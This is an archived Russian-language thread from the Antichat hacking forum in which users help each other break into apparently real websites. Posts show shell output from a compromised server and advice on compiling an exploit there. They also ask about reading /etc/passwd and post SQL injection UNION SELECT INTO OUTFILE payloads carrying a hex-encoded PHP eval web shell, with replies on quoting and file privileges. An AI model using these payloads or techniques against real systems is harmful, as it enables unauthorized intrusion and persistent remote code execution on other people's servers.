ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
17.04.2012, 21:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
17281
Репутация:
-4
|
|
Сообщение от None
sh: no job control in this shell
sh-3.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-3.1$ which gcc
which: no gcc in (/sbin:/usr/sbin:/bin:/usr/bin)
sh-3.1$ cd /www/comilfo.ru/ar/
sh-3.1$ gcc -o c c.c
sh: gcc: command not found
sh-3.1$
Вот как то так. Что теперь мне делать?
|
|
|
|
17.04.2012, 21:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
36102
Репутация:
0
|
|
Сообщение от kise
kise said:
Вот как то так. Что теперь мне делать?
cc, gpp, cpp пробуй
|
|
|
|
17.04.2012, 21:57
|
|
Guest
Сообщений: n/a
Провел на форуме:
17281
Репутация:
-4
|
|
Сообщение от Mr.Snuffer
Mr.Snuffer said:
cc, gpp, cpp пробуй
------------
Сообщение от None
sh-3.1$ cpp -o c c.c
c.c:2:19: error: stdio.h: No such file or directory
c.c:3:19: error: errno.h: No such file or directory
c.c:4:20: error: stdlib.h: No such file or directory
c.c:5:20: error: string.h: No such file or directory
c.c:6:20: error: malloc.h: No such file or directory
c.c:7:20: error: limits.h: No such file or directory
c.c:8:20: error: signal.h: No such file or directory
c.c:9:20: error: unistd.h: No such file or directory
c.c:10:21: error: sys/uio.h: No such file or directory
c.c:11:22: error: sys/mman.h: No such file or directory
|
|
|
|
17.04.2012, 22:00
|
|
Guest
Сообщений: n/a
Провел на форуме:
142623
Репутация:
19
|
|
kise, тащи эти файлы с собой stdio и.т.д этих заголовочных файлов на серве нет, но судя по тому что ошибки лезут компилятор таки есть.
|
|
|
|
17.04.2012, 22:23
|
|
Guest
Сообщений: n/a
Провел на форуме:
13805
Репутация:
0
|
|
Что можно извлечь из файла etc/passwd ато там столько всего что можно голову сломать?
|
|
|
|
17.04.2012, 22:30
|
|
Guest
Сообщений: n/a
Провел на форуме:
142623
Репутация:
19
|
|
http://ru.wikipedia.org/wiki/Salt#.D0.A3.D1.80.D0.BE.D0.B2.D0.BD.D0.B8_.D0.B7.D 0.B0.D1.89.D0.B8.D1.82.D1.8B
И реши что именно тебе надо и надо ли вообще.
|
|
|
|
17.04.2012, 22:43
|
|
Guest
Сообщений: n/a
Провел на форуме:
13805
Репутация:
0
|
|
Столкнулся вот с токой проблеммой,чтобы прочитать файл нужно путь к файлу представить в hex,а теперь сижу и ломаю голову а как же теперь шела залить обычным запросом +union+select+1,2,3,'',5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- не получается пробовал уже и так +union+select+1,2,3,0x3c3f706870206576616c28245f47 45545be2809865e280995d29203f3e,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'--
и даже так +union+select+1,2,3,'0x3c3f706870206576616c28245f4 745545be2809865e280995d29203f3e',5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- ничего не выходит.Помогите пожалуйста
|
|
|
|
17.04.2012, 22:46
|
|
Guest
Сообщений: n/a
Провел на форуме:
36102
Репутация:
0
|
|
Сообщение от Facecontrol
Facecontrol said:
Столкнулся вот с токой проблеммой,чтобы прочитать файл нужно путь к файлу представить в hex,а теперь сижу и ломаю голову а как же теперь шела залить обычным запросом +union+select+1,2,3,'',5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- не получается пробовал уже и так +union+select+1,2,3,0x3c3f706870206576616c28245f47 45545be2809865e280995d29203f3e,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'--
и даже так +union+select+1,2,3,'0x3c3f706870206576616c28245f4 745545be2809865e280995d29203f3e',5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- ничего не выходит.Помогите пожалуйста
Если это магические ковычки, то +'/var/www/html/azaz.html'- тоже хексить надо.
|
|
|
|
17.04.2012, 22:50
|
|
Guest
Сообщений: n/a
Провел на форуме:
13805
Репутация:
0
|
|
Сообщение от OxoTnik
OxoTnik said:
Facecontrol
а у твоего юзера права есть? и есть права на папку куда ты пытаешься залить шел?
и добавь в запрос
20,21
+from+mysql.user
+into+outfile+'/home/site.com/www/shell.php
File_priv Y а как проверить права на папку куда лить шелл?
|
|
|
|
17.04.2012, 22:51
|
|
Guest
Сообщений: n/a
Провел на форуме:
36102
Репутация:
0
|
|
Сообщение от OxoTnik
OxoTnik said:
ковычки должны быть оригинальными без шифрования, иначе никак
Вот дерьмо
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
